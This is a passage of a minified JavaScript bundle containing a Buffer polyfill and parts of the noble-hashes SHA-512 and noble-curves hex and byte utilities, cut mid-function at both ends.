0||Y===void 0)&&me(O,this.length-8);const $=Z+this[++O]*2**8+this[++O]*2**16+this[++O]*2**24,oe=this[++O]+this[++O]*2**8+this[++O]*2**16+Y*2**24;return BigInt($)+(BigInt(oe)<<BigInt(32))}),c.prototype.readBigUInt64BE=J(function(O){O=O>>>0,ke(O,"offset");const Z=this[O],Y=this[O+7];(Z===void 0||Y===void 0)&&me(O,this.length-8);const $=Z*2**24+this[++O]*2**16+this[++O]*2**8+this[++O],oe=this[++O]*2**24+this[++O]*2**16+this[++O]*2**8+Y;return(BigInt($)<<BigInt(32))+BigInt(oe)}),c.prototype.readIntLE=function(O,Z,Y){O=O>>>0,Z=Z>>>0,Y||te(O,Z,this.length);let $=this[O],oe=1,ee=0;for(;++ee<Z&&(oe*=256);)$+=this[O+ee]*oe;return oe*=128,$>=oe&&($-=Math.pow(2,8*Z)),$},c.prototype.readIntBE=function(O,Z,Y){O=O>>>0,Z=Z>>>0,Y||te(O,Z,this.length);let $=Z,oe=1,ee=this[O+--$];for(;$>0&&(oe*=256);)ee+=this[O+--$]*oe;return oe*=128,ee>=oe&&(ee-=Math.pow(2,8*Z)),ee},c.prototype.readInt8=function(O,Z){return O=O>>>0,Z||te(O,1,this.length),this[O]&128?(255-this[O]+1)*-1:this[O]},c.prototype.readInt16LE=function(O,Z){O=O>>>0,Z||te(O,2,this.length);const Y=this[O]|this[O+1]<<8;return Y&32768?Y|4294901760:Y},c.prototype.readInt16BE=function(O,Z){O=O>>>0,Z||te(O,2,this.length);const Y=this[O+1]|this[O]<<8;return Y&32768?Y|4294901760:Y},c.prototype.readInt32LE=function(O,Z){return O=O>>>0,Z||te(O,4,this.length),this[O]|this[O+1]<<8|this[O+2]<<16|this[O+3]<<24},c.prototype.readInt32BE=function(O,Z){return O=O>>>0,Z||te(O,4,this.length),this[O]<<24|this[O+1]<<16|this[O+2]<<8|this[O+3]},c.prototype.readBigInt64LE=J(function(O){O=O>>>0,ke(O,"offset");const Z=this[O],Y=this[O+7];(Z===void 0||Y===void 0)&&me(O,this.length-8);const $=this[O+4]+this[O+5]*2**8+this[O+6]*2**16+(Y<<24);return(BigInt($)<<BigInt(32))+BigInt(Z+this[++O]*2**8+this[++O]*2**16+this[++O]*2**24)}),c.prototype.readBigInt64BE=J(function(O){O=O>>>0,ke(O,"offset");const Z=this[O],Y=this[O+7];(Z===void 0||Y===void 0)&&me(O,this.length-8);const $=(Z<<24)+this[++O]*2**16+this[++O]*2**8+this[++O];return(BigInt($)<<BigInt(32))+BigInt(this[++O]*2**24+this[++O]*2**16+this[++O]*2**8+Y)}),c.prototype.readFloatLE=function(O,Z){return O=O>>>0,Z||te(O,4,this.length),n.read(this,O,!0,23,4)},c.prototype.readFloatBE=function(O,Z){return O=O>>>0,Z||te(O,4,this.length),n.read(this,O,!1,23,4)},c.prototype.readDoubleLE=function(O,Z){return O=O>>>0,Z||te(O,8,this.length),n.read(this,O,!0,52,8)},c.prototype.readDoubleBE=function(O,Z){return O=O>>>0,Z||te(O,8,this.length),n.read(this,O,!1,52,8)};function le(G,O,Z,Y,$,oe){if(!c.isBuffer(G))throw new TypeError('"buffer" argument must be a Buffer instance');if(O>$||O<oe)throw new RangeError('"value" argument is out of bounds');if(Z+Y>G.length)throw new RangeError("Index out of range")}c.prototype.writeUintLE=c.prototype.writeUIntLE=function(O,Z,Y,$){if(O=+O,Z=Z>>>0,Y=Y>>>0,!$){const ze=Math.pow(2,8*Y)-1;le(this,O,Z,Y,ze,0)}let oe=1,ee=0;for(this[Z]=O&255;++ee<Y&&(oe*=256);)this[Z+ee]=O/oe&255;return Z+Y},c.prototype.writeUintBE=c.prototype.writeUIntBE=function(O,Z,Y,$){if(O=+O,Z=Z>>>0,Y=Y>>>0,!$){const ze=Math.pow(2,8*Y)-1;le(this,O,Z,Y,ze,0)}let oe=Y-1,ee=1;for(this[Z+oe]=O&255;--oe>=0&&(ee*=256);)this[Z+oe]=O/ee&255;return Z+Y},c.prototype.writeUint8=c.prototype.writeUInt8=function(O,Z,Y){return O=+O,Z=Z>>>0,Y||le(this,O,Z,1,255,0),this[Z]=O&255,Z+1},c.prototype.writeUint16LE=c.prototype.writeUInt16LE=function(O,Z,Y){return O=+O,Z=Z>>>0,Y||le(this,O,Z,2,65535,0),this[Z]=O&255,this[Z+1]=O>>>8,Z+2},c.prototype.writeUint16BE=c.prototype.writeUInt16BE=function(O,Z,Y){return O=+O,Z=Z>>>0,Y||le(this,O,Z,2,65535,0),this[Z]=O>>>8,this[Z+1]=O&255,Z+2},c.prototype.writeUint32LE=c.prototype.writeUInt32LE=function(O,Z,Y){return O=+O,Z=Z>>>0,Y||le(this,O,Z,4,4294967295,0),this[Z+3]=O>>>24,this[Z+2]=O>>>16,this[Z+1]=O>>>8,this[Z]=O&255,Z+4},c.prototype.writeUint32BE=c.prototype.writeUInt32BE=function(O,Z,Y){return O=+O,Z=Z>>>0,Y||le(this,O,Z,4,4294967295,0),this[Z]=O>>>24,this[Z+1]=O>>>16,this[Z+2]=O>>>8,this[Z+3]=O&255,Z+4};function re(G,O,Z,Y,$){ve(O,Y,$,G,Z,7);let oe=Number(O&BigInt(4294967295));G[Z++]=oe,oe=oe>>8,G[Z++]=oe,oe=oe>>8,G[Z++]=oe,oe=oe>>8,G[Z++]=oe;let ee=Number(O>>BigInt(32)&BigInt(4294967295));return G[Z++]=ee,ee=ee>>8,G[Z++]=ee,ee=ee>>8,G[Z++]=ee,ee=ee>>8,G[Z++]=ee,Z}function de(G,O,Z,Y,$){ve(O,Y,$,G,Z,7);let oe=Number(O&BigInt(4294967295));G[Z+7]=oe,oe=oe>>8,G[Z+6]=oe,oe=oe>>8,G[Z+5]=oe,oe=oe>>8,G[Z+4]=oe;let ee=Number(O>>BigInt(32)&BigInt(4294967295));return G[Z+3]=ee,ee=ee>>8,G[Z+2]=ee,ee=ee>>8,G[Z+1]=ee,ee=ee>>8,G[Z]=ee,Z+8}c.prototype.writeBigUInt64LE=J(function(O,Z=0){return re(this,O,Z,BigInt(0),BigInt("0xffffffffffffffff"))}),c.prototype.writeBigUInt64BE=J(function(O,Z=0){return de(this,O,Z,BigInt(0),BigInt("0xffffffffffffffff"))}),c.prototype.writeIntLE=function(O,Z,Y,$){if(O=+O,Z=Z>>>0,!$){const Te=Math.pow(2,8*Y-1);le(this,O,Z,Y,Te-1,-Te)}let oe=0,ee=1,ze=0;for(this[Z]=O&255;++oe<Y&&(ee*=256);)O<0&&ze===0&&this[Z+oe-1]!==0&&(ze=1),this[Z+oe]=(O/ee>>0)-ze&255;return Z+Y},c.prototype.writeIntBE=function(O,Z,Y,$){if(O=+O,Z=Z>>>0,!$){const Te=Math.pow(2,8*Y-1);le(this,O,Z,Y,Te-1,-Te)}let oe=Y-1,ee=1,ze=0;for(this[Z+oe]=O&255;--oe>=0&&(ee*=256);)O<0&&ze===0&&this[Z+oe+1]!==0&&(ze=1),this[Z+oe]=(O/ee>>0)-ze&255;return Z+Y},c.prototype.writeInt8=function(O,Z,Y){return O=+O,Z=Z>>>0,Y||le(this,O,Z,1,127,-128),O<0&&(O=255+O+1),this[Z]=O&255,Z+1},c.prototype.writeInt16LE=function(O,Z,Y){return O=+O,Z=Z>>>0,Y||le(this,O,Z,2,32767,-32768),this[Z]=O&255,this[Z+1]=O>>>8,Z+2},c.prototype.writeInt16BE=function(O,Z,Y){return O=+O,Z=Z>>>0,Y||le(this,O,Z,2,32767,-32768),this[Z]=O>>>8,this[Z+1]=O&255,Z+2},c.prototype.writeInt32LE=function(O,Z,Y){return O=+O,Z=Z>>>0,Y||le(this,O,Z,4,2147483647,-2147483648),this[Z]=O&255,this[Z+1]=O>>>8,this[Z+2]=O>>>16,this[Z+3]=O>>>24,Z+4},c.prototype.writeInt32BE=function(O,Z,Y){return O=+O,Z=Z>>>0,Y||le(this,O,Z,4,2147483647,-2147483648),O<0&&(O=4294967295+O+1),this[Z]=O>>>24,this[Z+1]=O>>>16,this[Z+2]=O>>>8,this[Z+3]=O&255,Z+4},c.prototype.writeBigInt64LE=J(function(O,Z=0){return re(this,O,Z,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))}),c.prototype.writeBigInt64BE=J(function(O,Z=0){return de(this,O,Z,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))});function ce(G,O,Z,Y,$,oe){if(Z+Y>G.length)throw new RangeError("Index out of range");if(Z<0)throw new RangeError("Index out of range")}function we(G,O,Z,Y,$){return O=+O,Z=Z>>>0,$||ce(G,O,Z,4),n.write(G,O,Z,Y,23,4),Z+4}c.prototype.writeFloatLE=function(O,Z,Y){return we(this,O,Z,!0,Y)},c.prototype.writeFloatBE=function(O,Z,Y){return we(this,O,Z,!1,Y)};function Ie(G,O,Z,Y,$){return O=+O,Z=Z>>>0,$||ce(G,O,Z,8),n.write(G,O,Z,Y,52,8),Z+8}c.prototype.writeDoubleLE=function(O,Z,Y){return Ie(this,O,Z,!0,Y)},c.prototype.writeDoubleBE=function(O,Z,Y){return Ie(this,O,Z,!1,Y)},c.prototype.copy=function(O,Z,Y,$){if(!c.isBuffer(O))throw new TypeError("argument should be a Buffer");if(Y||(Y=0),!$&&$!==0&&($=this.length),Z>=O.length&&(Z=O.length),Z||(Z=0),$>0&&$<Y&&($=Y),$===Y||O.length===0||this.length===0)return 0;if(Z<0)throw new RangeError("targetStart out of bounds");if(Y<0||Y>=this.length)throw new RangeError("Index out of range");if($<0)throw new RangeError("sourceEnd out of bounds");$>this.length&&($=this.length),O.length-Z<$-Y&&($=O.length-Z+Y);const oe=$-Y;return this===O&&typeof i.prototype.copyWithin=="function"?this.copyWithin(Z,Y,$):i.prototype.set.call(O,this.subarray(Y,$),Z),oe},c.prototype.fill=function(O,Z,Y,$){if(typeof O=="string"){if(typeof Z=="string"?($=Z,Z=0,Y=this.length):typeof Y=="string"&&($=Y,Y=this.length),$!==void 0&&typeof $!="string")throw new TypeError("encoding must be a string");if(typeof $=="string"&&!c.isEncoding($))throw new TypeError("Unknown encoding: "+$);if(O.length===1){const ee=O.charCodeAt(0);($==="utf8"&&ee<128||$==="latin1")&&(O=ee)}}else typeof O=="number"?O=O&255:typeof O=="boolean"&&(O=Number(O));if(Z<0||this.length<Z||this.length<Y)throw new RangeError("Out of range index");if(Y<=Z)return this;Z=Z>>>0,Y=Y===void 0?this.length:Y>>>0,O||(O=0);let oe;if(typeof O=="number")for(oe=Z;oe<Y;++oe)this[oe]=O;else{const ee=c.isBuffer(O)?O:c.from(O,$),ze=ee.length;if(ze===0)throw new TypeError('The value "'+O+'" is invalid for argument "value"');for(oe=0;oe<Y-Z;++oe)this[oe+Z]=ee[oe%ze]}return this};const ge={};function Me(G,O,Z){ge[G]=class extends Z{constructor(){super(),Object.defineProperty(this,"message",{value:O.apply(this,arguments),writable:!0,configurable:!0}),this.name=`${this.name} [${G}]`,this.stack,delete this.name}get code(){return G}set code($){Object.defineProperty(this,"code",{configurable:!0,enumerable:!0,value:$,writable:!0})}toString(){return`${this.name} [${G}]: ${this.message}`}}}Me("ERR_BUFFER_OUT_OF_BOUNDS",function(G){return G?`${G} is outside of buffer bounds`:"Attempt to access memory outside buffer bounds"},RangeError),Me("ERR_INVALID_ARG_TYPE",function(G,O){return`The "${G}" argument must be of type number. Received type ${typeof O}`},TypeError),Me("ERR_OUT_OF_RANGE",function(G,O,Z){let Y=`The value of "${G}" is out of range.`,$=Z;return Number.isInteger(Z)&&Math.abs(Z)>2**32?$=se(String(Z)):typeof Z=="bigint"&&($=String(Z),(Z>BigInt(2)**BigInt(32)||Z<-(BigInt(2)**BigInt(32)))&&($=se($)),$+="n"),Y+=` It must be ${O}. Received ${$}`,Y},RangeError);function se(G){let O="",Z=G.length;const Y=G[0]==="-"?1:0;for(;Z>=Y+4;Z-=3)O=`_${G.slice(Z-3,Z)}${O}`;return`${G.slice(0,Z)}${O}`}function ue(G,O,Z){ke(O,"offset"),(G[O]===void 0||G[O+Z]===void 0)&&me(O,G.length-(Z+1))}function ve(G,O,Z,Y,$,oe){if(G>Z||G<O){const ee=typeof O=="bigint"?"n":"";let ze;throw oe>3?O===0||O===BigInt(0)?ze=`>= 0${ee} and < 2${ee} ** ${(oe+1)*8}${ee}`:ze=`>= -(2${ee} ** ${(oe+1)*8-1}${ee}) and < 2 ** ${(oe+1)*8-1}${ee}`:ze=`>= ${O}${ee} and <= ${Z}${ee}`,new ge.ERR_OUT_OF_RANGE("value",ze,G)}ue(Y,$,oe)}function ke(G,O){if(typeof G!="number")throw new ge.ERR_INVALID_ARG_TYPE(O,"number",G)}function me(G,O,Z){throw Math.floor(G)!==G?(ke(G,Z),new ge.ERR_OUT_OF_RANGE(Z||"offset","an integer",G)):O<0?new ge.ERR_BUFFER_OUT_OF_BOUNDS:new ge.ERR_OUT_OF_RANGE(Z||"offset",`>= ${Z?1:0} and <= ${O}`,G)}const Ee=/[^+/0-9A-Za-z-_]/g;function Le(G){if(G=G.split("=")[0],G=G.trim().replace(Ee,""),G.length<2)return"";for(;G.length%4!==0;)G=G+"=";return G}function Ae(G,O){O=O||1/0;let Z;const Y=G.length;let $=null;const oe=[];for(let ee=0;ee<Y;++ee){if(Z=G.charCodeAt(ee),Z>55295&&Z<57344){if(!$){if(Z>56319){(O-=3)>-1&&oe.push(239,191,189);continue}else if(ee+1===Y){(O-=3)>-1&&oe.push(239,191,189);continue}$=Z;continue}if(Z<56320){(O-=3)>-1&&oe.push(239,191,189),$=Z;continue}Z=($-55296<<10|Z-56320)+65536}else $&&(O-=3)>-1&&oe.push(239,191,189);if($=null,Z<128){if((O-=1)<0)break;oe.push(Z)}else if(Z<2048){if((O-=2)<0)break;oe.push(Z>>6|192,Z&63|128)}else if(Z<65536){if((O-=3)<0)break;oe.push(Z>>12|224,Z>>6&63|128,Z&63|128)}else if(Z<1114112){if((O-=4)<0)break;oe.push(Z>>18|240,Z>>12&63|128,Z>>6&63|128,Z&63|128)}else throw new Error("Invalid code point")}return oe}function be(G){const O=[];for(let Z=0;Z<G.length;++Z)O.push(G.charCodeAt(Z)&255);return O}function xe(G,O){let Z,Y,$;const oe=[];for(let ee=0;ee<G.length&&!((O-=2)<0);++ee)Z=G.charCodeAt(ee),Y=Z>>8,$=Z%256,oe.push($),oe.push(Y);return oe}function Re(G){return t.toByteArray(Le(G))}function Ne(G,O,Z,Y){let $;for($=0;$<Y&&!($+Z>=O.length||$>=G.length);++$)O[$+Z]=G[$];return $}function Se(G,O){return G instanceof O||G!=null&&G.constructor!=null&&G.constructor.name!=null&&G.constructor.name===O.name}function Ze(G){return G!==G}const Q=function(){const G="0123456789abcdef",O=new Array(256);for(let Z=0;Z<16;++Z){const Y=Z*16;for(let $=0;$<16;++$)O[Y+$]=G[Z]+G[$]}return O}();function J(G){return typeof BigInt>"u"?V:G}function V(){throw new Error("BigInt not supported")}})(mr);const sn=mr.Buffer,oR=mr.Blob,iR=mr.BlobOptions,en=mr.Buffer,sR=mr.File,aR=mr.FileOptions,lR=mr.INSPECT_MAX_BYTES,uR=mr.SlowBuffer,cR=mr.TranscodeEncoding,dR=mr.atob,fR=mr.btoa,hR=mr.constants,pR=mr.isAscii,mR=mr.isUtf8,vR=mr.kMaxLength,gR=mr.kStringMaxLength,yR=mr.resolveObjectURL,bR=mr.transcode,IR=Object.freeze(Object.defineProperty({__proto__:null,Blob:oR,BlobOptions:iR,Buffer:en,File:sR,FileOptions:aR,INSPECT_MAX_BYTES:lR,SlowBuffer:uR,TranscodeEncoding:cR,atob:dR,btoa:fR,constants:hR,default:sn,isAscii:pR,isUtf8:mR,kMaxLength:vR,kStringMaxLength:gR,resolveObjectURL:yR,transcode:bR},Symbol.toStringTag,{value:"Module"}));function Dq(e){if(!Number.isSafeInteger(e)||e<0)throw new Error(`positive integer expected, not ${e}`)}function qR(e){return e instanceof Uint8Array||e!=null&&typeof e=="object"&&e.constructor.name==="Uint8Array"}function um(e,...t){if(!qR(e))throw new Error("Uint8Array expected");if(t.length>0&&!t.includes(e.length))throw new Error(`Uint8Array expected of length ${t}, not of length=${e.length}`)}function wR(e){if(typeof e!="function"||typeof e.create!="function")throw new Error("Hash should be wrapped by utils.wrapConstructor");Dq(e.outputLen),Dq(e.blockLen)}function hp(e,t=!0){if(e.destroyed)throw new Error("Hash instance has been destroyed");if(t&&e.finished)throw new Error("Hash#digest() has already been called")}function SR(e,t){um(e);const n=t.outputLen;if(e.length<n)throw new Error(`digestInto() expects output buffer of length at least ${n}`)}const vv=typeof globalThis=="object"&&"crypto"in globalThis?globalThis.crypto:void 0;/*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */const gv=e=>new DataView(e.buffer,e.byteOffset,e.byteLength),Ii=(e,t)=>e<<32-t|e>>>t;new Uint8Array(new Uint32Array([287454020]).buffer)[0];function DA(e){if(typeof e!="string")throw new Error(`utf8ToBytes expected string, got ${typeof e}`);return new Uint8Array(new TextEncoder().encode(e))}function zb(e){return typeof e=="string"&&(e=DA(e)),um(e),e}function XA(...e){let t=0;for(let r=0;r<e.length;r++){const o=e[r];um(o),t+=o.length}const n=new Uint8Array(t);for(let r=0,o=0;r<e.length;r++){const i=e[r];n.set(i,o),o+=i.length}return n}let QA=class{clone(){return this._cloneInto()}};function _A(e){const t=r=>e().update(zb(r)).digest(),n=e();return t.outputLen=n.outputLen,t.blockLen=n.blockLen,t.create=()=>e(),t}function $A(e=32){if(vv&&typeof vv.getRandomValues=="function")return vv.getRandomValues(new Uint8Array(e));throw new Error("crypto.getRandomValues must be defined")}function ER(e,t,n,r){if(typeof e.setBigUint64=="function")return e.setBigUint64(t,n,r);const o=BigInt(32),i=BigInt(4294967295),s=Number(n>>o&i),a=Number(n&i),l=r?4:0,u=r?0:4;e.setUint32(t+l,s,r),e.setUint32(t+u,a,r)}const AR=(e,t,n)=>e&t^~e&n,MR=(e,t,n)=>e&t^e&n^t&n;class eM extends QA{constructor(t,n,r,o){super(),this.blockLen=t,this.outputLen=n,this.padOffset=r,this.isLE=o,this.finished=!1,this.length=0,this.pos=0,this.destroyed=!1,this.buffer=new Uint8Array(t),this.view=gv(this.buffer)}update(t){hp(this);const{view:n,buffer:r,blockLen:o}=this;t=zb(t);const i=t.length;for(let s=0;s<i;){const a=Math.min(o-this.pos,i-s);if(a===o){const l=gv(t);for(;o<=i-s;s+=o)this.process(l,s);continue}r.set(t.subarray(s,s+a),this.pos),this.pos+=a,s+=a,this.pos===o&&(this.process(n,0),this.pos=0)}return this.length+=t.length,this.roundClean(),this}digestInto(t){hp(this),SR(t,this),this.finished=!0;const{buffer:n,view:r,blockLen:o,isLE:i}=this;let{pos:s}=this;n[s++]=128,this.buffer.subarray(s).fill(0),this.padOffset>o-s&&(this.process(r,0),s=0);for(let f=s;f<o;f++)n[f]=0;ER(r,o-8,BigInt(this.length*8),i),this.process(r,0);const a=gv(t),l=this.outputLen;if(l%4)throw new Error("_sha2: outputLen should be aligned to 32bit");const u=l/4,c=this.get();if(u>c.length)throw new Error("_sha2: outputLen bigger than state");for(let f=0;f<u;f++)a.setUint32(4*f,c[f],i)}digest(){const{buffer:t,outputLen:n}=this;this.digestInto(t);const r=t.slice(0,n);return this.destroy(),r}_cloneInto(t){t||(t=new this.constructor),t.set(...this.get());const{blockLen:n,buffer:r,length:o,finished:i,destroyed:s,pos:a}=this;return t.length=o,t.pos=a,t.finished=i,t.destroyed=s,o%n&&t.buffer.set(r),t}}const kf=BigInt(2**32-1),rg=BigInt(32);function tM(e,t=!1){return t?{h:Number(e&kf),l:Number(e>>rg&kf)}:{h:Number(e>>rg&kf)|0,l:Number(e&kf)|0}}function CR(e,t=!1){let n=new Uint32Array(e.length),r=new Uint32Array(e.length);for(let o=0;o<e.length;o++){const{h:i,l:s}=tM(e[o],t);[n[o],r[o]]=[i,s]}return[n,r]}const kR=(e,t)=>BigInt(e>>>0)<<rg|BigInt(t>>>0),xR=(e,t,n)=>e>>>n,OR=(e,t,n)=>e<<32-n|t>>>n,zR=(e,t,n)=>e>>>n|t<<32-n,KR=(e,t,n)=>e<<32-n|t>>>n,RR=(e,t,n)=>e<<64-n|t>>>n-32,LR=(e,t,n)=>e>>>n-32|t<<64-n,ZR=(e,t)=>t,TR=(e,t)=>e,NR=(e,t,n)=>e<<n|t>>>32-n,jR=(e,t,n)=>t<<n|e>>>32-n,WR=(e,t,n)=>t<<n-32|e>>>64-n,GR=(e,t,n)=>e<<n-32|t>>>64-n;function YR(e,t,n,r){const o=(t>>>0)+(r>>>0);return{h:e+n+(o/2**32|0)|0,l:o|0}}const BR=(e,t,n)=>(e>>>0)+(t>>>0)+(n>>>0),JR=(e,t,n,r)=>t+n+r+(e/2**32|0)|0,VR=(e,t,n,r)=>(e>>>0)+(t>>>0)+(n>>>0)+(r>>>0),UR=(e,t,n,r,o)=>t+n+r+o+(e/2**32|0)|0,FR=(e,t,n,r,o)=>(e>>>0)+(t>>>0)+(n>>>0)+(r>>>0)+(o>>>0),HR=(e,t,n,r,o,i)=>t+n+r+o+i+(e/2**32|0)|0,tn={fromBig:tM,split:CR,toBig:kR,shrSH:xR,shrSL:OR,rotrSH:zR,rotrSL:KR,rotrBH:RR,rotrBL:LR,rotr32H:ZR,rotr32L:TR,rotlSH:NR,rotlSL:jR,rotlBH:WR,rotlBL:GR,add:YR,add3L:BR,add3H:JR,add4L:VR,add4H:UR,add5H:HR,add5L:FR},[PR,DR]=tn.split(["0x428a2f98d728ae22","0x7137449123ef65cd","0xb5c0fbcfec4d3b2f","0xe9b5dba58189dbbc","0x3956c25bf348b538","0x59f111f1b605d019","0x923f82a4af194f9b","0xab1c5ed5da6d8118","0xd807aa98a3030242","0x12835b0145706fbe","0x243185be4ee4b28c","0x550c7dc3d5ffb4e2","0x72be5d74f27b896f","0x80deb1fe3b1696b1","0x9bdc06a725c71235","0xc19bf174cf692694","0xe49b69c19ef14ad2","0xefbe4786384f25e3","0x0fc19dc68b8cd5b5","0x240ca1cc77ac9c65","0x2de92c6f592b0275","0x4a7484aa6ea6e483","0x5cb0a9dcbd41fbd4","0x76f988da831153b5","0x983e5152ee66dfab","0xa831c66d2db43210","0xb00327c898fb213f","0xbf597fc7beef0ee4","0xc6e00bf33da88fc2","0xd5a79147930aa725","0x06ca6351e003826f","0x142929670a0e6e70","0x27b70a8546d22ffc","0x2e1b21385c26c926","0x4d2c6dfc5ac42aed","0x53380d139d95b3df","0x650a73548baf63de","0x766a0abb3c77b2a8","0x81c2c92e47edaee6","0x92722c851482353b","0xa2bfe8a14cf10364","0xa81a664bbc423001","0xc24b8b70d0f89791","0xc76c51a30654be30","0xd192e819d6ef5218","0xd69906245565a910","0xf40e35855771202a","0x106aa07032bbd1b8","0x19a4c116b8d2d0c8","0x1e376c085141ab53","0x2748774cdf8eeb99","0x34b0bcb5e19b48a8","0x391c0cb3c5c95a63","0x4ed8aa4ae3418acb","0x5b9cca4f7763e373","0x682e6ff3d6b2b8a3","0x748f82ee5defb2fc","0x78a5636f43172f60","0x84c87814a1f0ab72","0x8cc702081a6439ec","0x90befffa23631e28","0xa4506cebde82bde9","0xbef9a3f7b2c67915","0xc67178f2e372532b","0xca273eceea26619c","0xd186b8c721c0c207","0xeada7dd6cde0eb1e","0xf57d4f7fee6ed178","0x06f067aa72176fba","0x0a637dc5a2c898a6","0x113f9804bef90dae","0x1b710b35131c471b","0x28db77f523047d84","0x32caab7b40c72493","0x3c9ebe0a15c9bebc","0x431d67c49c100d4c","0x4cc5d4becb3e42b6","0x597f299cfc657e2a","0x5fcb6fab3ad6faec","0x6c44198c4a475817"].map(e=>BigInt(e))),Os=new Uint32Array(80),zs=new Uint32Array(80);class XR extends eM{constructor(){super(128,64,16,!1),this.Ah=1779033703,this.Al=-205731576,this.Bh=-1150833019,this.Bl=-2067093701,this.Ch=1013904242,this.Cl=-23791573,this.Dh=-1521486534,this.Dl=1595750129,this.Eh=1359893119,this.El=-1377402159,this.Fh=-1694144372,this.Fl=725511199,this.Gh=528734635,this.Gl=-79577749,this.Hh=1541459225,this.Hl=327033209}get(){const{Ah:t,Al:n,Bh:r,Bl:o,Ch:i,Cl:s,Dh:a,Dl:l,Eh:u,El:c,Fh:f,Fl:p,Gh:m,Gl:g,Hh:v,Hl:I}=this;return[t,n,r,o,i,s,a,l,u,c,f,p,m,g,v,I]}set(t,n,r,o,i,s,a,l,u,c,f,p,m,g,v,I){this.Ah=t|0,this.Al=n|0,this.Bh=r|0,this.Bl=o|0,this.Ch=i|0,this.Cl=s|0,this.Dh=a|0,this.Dl=l|0,this.Eh=u|0,this.El=c|0,this.Fh=f|0,this.Fl=p|0,this.Gh=m|0,this.Gl=g|0,this.Hh=v|0,this.Hl=I|0}process(t,n){for(let E=0;E<16;E++,n+=4)Os[E]=t.getUint32(n),zs[E]=t.getUint32(n+=4);for(let E=16;E<80;E++){const x=Os[E-15]|0,R=zs[E-15]|0,K=tn.rotrSH(x,R,1)^tn.rotrSH(x,R,8)^tn.shrSH(x,R,7),W=tn.rotrSL(x,R,1)^tn.rotrSL(x,R,8)^tn.shrSL(x,R,7),j=Os[E-2]|0,H=zs[E-2]|0,P=tn.rotrSH(j,H,19)^tn.rotrBH(j,H,61)^tn.shrSH(j,H,6),U=tn.rotrSL(j,H,19)^tn.rotrBL(j,H,61)^tn.shrSL(j,H,6),X=tn.add4L(W,U,zs[E-7],zs[E-16]),L=tn.add4H(X,K,P,Os[E-7],Os[E-16]);Os[E]=L|0,zs[E]=X|0}let{Ah:r,Al:o,Bh:i,Bl:s,Ch:a,Cl:l,Dh:u,Dl:c,Eh:f,El:p,Fh:m,Fl:g,Gh:v,Gl:I,Hh:q,Hl:M}=this;for(let E=0;E<80;E++){const x=tn.rotrSH(f,p,14)^tn.rotrSH(f,p,18)^tn.rotrBH(f,p,41),R=tn.rotrSL(f,p,14)^tn.rotrSL(f,p,18)^tn.rotrBL(f,p,41),K=f&m^~f&v,W=p&g^~p&I,j=tn.add5L(M,R,W,DR[E],zs[E]),H=tn.add5H(j,q,x,K,PR[E],Os[E]),P=j|0,U=tn.rotrSH(r,o,28)^tn.rotrBH(r,o,34)^tn.rotrBH(r,o,39),X=tn.rotrSL(r,o,28)^tn.rotrBL(r,o,34)^tn.rotrBL(r,o,39),L=r&i^r&a^i&a,h=o&s^o&l^s&l;q=v|0,M=I|0,v=m|0,I=g|0,m=f|0,g=p|0,{h:f,l:p}=tn.add(u|0,c|0,H|0,P|0),u=a|0,c=l|0,a=i|0,l=s|0,i=r|0,s=o|0;const b=tn.add3L(P,X,h);r=tn.add3H(b,H,U,L),o=b|0}({h:r,l:o}=tn.add(this.Ah|0,this.Al|0,r|0,o|0)),{h:i,l:s}=tn.add(this.Bh|0,this.Bl|0,i|0,s|0),{h:a,l}=tn.add(this.Ch|0,this.Cl|0,a|0,l|0),{h:u,l:c}=tn.add(this.Dh|0,this.Dl|0,u|0,c|0),{h:f,l:p}=tn.add(this.Eh|0,this.El|0,f|0,p|0),{h:m,l:g}=tn.add(this.Fh|0,this.Fl|0,m|0,g|0),{h:v,l:I}=tn.add(this.Gh|0,this.Gl|0,v|0,I|0),{h:q,l:M}=tn.add(this.Hh|0,this.Hl|0,q|0,M|0),this.set(r,o,i,s,a,l,u,c,f,p,m,g,v,I,q,M)}roundClean(){Os.fill(0),zs.fill(0)}destroy(){this.buffer.fill(0),this.set(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)}}const nM=_A(()=>new XR);/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */const rM=BigInt(0),cm=BigInt(1),QR=BigInt(2);function wl(e){return e instanceof Uint8Array||e!=null&&typeof e=="object"&&e.constructor.name==="Uint8Array"}function Qd(e){if(!wl(e))throw new Error("Uint8Array expected")}const _R=Array.from({length:256},(e,t)=>t.toString(16).padStart(2,"0"));function Sl(e){Qd(e);let t="";for(let n=0;n<e.length;n++)t+=_R[e[n]];return t}function oM(e){const t=e.toString(16);return t.length&1?`0${t}`:t}function Kb(e){if(typeof e!="string")throw new Error("hex string expected, got "+typeof e);return BigInt(e===""?"0":`0x${e}`)}const Qi={_0:48,_9:57,_A:65,_F:70,_a:97,_f:102};function Xq(e){if(e>=Qi._0&&e<=Qi._9)return e-Qi._0;if(e>=Qi._A&&e<=Qi._F)return e-(Qi._A-10);if(e>=Qi._a&&e<=Qi._f)return e-(Qi._a-10)}function Vu(e){if(typeof e!="string")throw new Error("hex string expected, got "+typeof e);const t=e.length,n=t/2;if(t%2)throw new Error("padded hex string expected, got unpadded hex of length "+t);const r=new Uint8Array(n);for(let o=0,i=0;o<n;o++,i+=2){const s=Xq(e.charCodeAt(i)),a=Xq(e.charCodeAt(i+1));if(s===void 0||a===void 0){const l=e[i]+e[i+1];throw new Error('hex string expected, got non-hex character "'+l+'" at index '+i)}r[o]=s*16+a}return r}function fl(e){return Kb(Sl(e))}function xu(e){return Qd(e),Kb(Sl(Uint8Array.from(e).reverse()))}function Uu(e,t){return Vu(e.toString(16).padStart(t*2,"0"))}function qd(e,t){return Uu(e,t).reverse()}function $R(e){return Vu(oM(e))}function ur(e,t,n){let r;if(typeof t=="string")try{r=Vu(t)}catch(i){throw new Error(`${e} must be valid hex string, got "${t}". Cause: ${i}`)}else if(wl(t))r=Uint8Array.from(t);else throw new Error(`${e} must be hex string or Uint8Array`);const o=r.length;if(typeof n=="number"&&o!==n)throw new Error(`${e} expected ${n} bytes, got ${o}`);return r}function El(...e){let t=0;for(let r=0;r<e.length;r++){const o=e[r];Qd(o),t+=o.length}const n=new Uint8Array(t);for(let r=0,o=0;r<e.length;r++){const i=e[r];n.set(i,o),o+=i.length}return n}function e5(e,t){if(e.length!==t.length)return!1;let n=0;for(let 